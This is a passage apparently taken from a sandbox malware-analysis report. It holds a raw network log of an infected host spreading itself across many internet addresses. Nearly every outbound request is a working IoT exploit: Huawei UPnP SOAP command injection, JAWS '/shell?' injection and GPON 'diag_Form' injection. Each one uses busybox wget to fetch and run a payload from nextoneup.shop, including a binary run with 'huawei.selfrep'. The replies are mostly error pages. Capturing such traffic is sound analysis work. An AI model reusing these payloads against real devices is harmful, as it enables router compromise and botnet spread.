61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1448	192.168.2.23	59756	138.100.111.119	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.855017900 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1449	192.168.2.23	34258	38.11.41.16	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:58.606014013 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.783981085 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:58 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1450	192.168.2.23	60866	47.206.53.254	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:58.670137882 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.912985086 CEST	439	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:56 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 196 Keep-Alive: timeout=15, max=800 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1451	192.168.2.23	37628	178.63.213.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.572899103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1452	192.168.2.23	40534	79.160.233.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.572949886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1453	192.168.2.23	56430	94.154.254.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.572990894 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1454	192.168.2.23	33794	76.53.11.90	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.624280930 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:00.820162058 CEST	873	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 20 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/...*/--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url"> </span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1455	192.168.2.23	33746	163.172.245.41	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.754980087 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.070589066 CEST	470	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:00 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 278 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1456	192.168.2.23	43286	104.87.31.251	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.766899109 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.095277071 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:00 GMT Date: Sun, 14 Apr 2024 02:01:00 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 36 64 38 34 39 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 30 26 23 34 36 3b 35 36 32 61 63 64 31 33 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 36 64 38 34 39 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 30 26 23 34 36 3b 35 36 32 61 63 64 31 33 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.16d84917.1713060060.562acd13<P>https://errors.edgesuite.net/9.16d84917.1713060060.562acd13</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1457	192.168.2.23	53652	142.132.245.245	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.778707981 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.122045994 CEST	258	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:01:00 GMT Content-Length: 17 Content-Type: text/plain; charset=utf-8 Data Raw: 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 Data Ascii: Moved Permanently

Session ID	Source IP	Source Port	Destination IP	Destination Port
1458	192.168.2.23	33682	128.254.154.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.893450022 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.095119953 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1459	192.168.2.23	42366	35.90.12.178	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.948858976 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.147084951 CEST	445	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:01 GMT Server: Apache/2.4.56 (Amazon Linux) OpenSSL/3.0.8 Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1460	192.168.2.23	53876	18.65.224.45	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.950704098 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.147753954 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:01 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1461	192.168.2.23	50434	172.105.11.10	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.983545065 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.214910984 CEST	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:01 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1462	192.168.2.23	56408	137.187.52.159	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:00.984795094 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.179285049 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:03.586949110 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:06.370759010 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.002011061 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
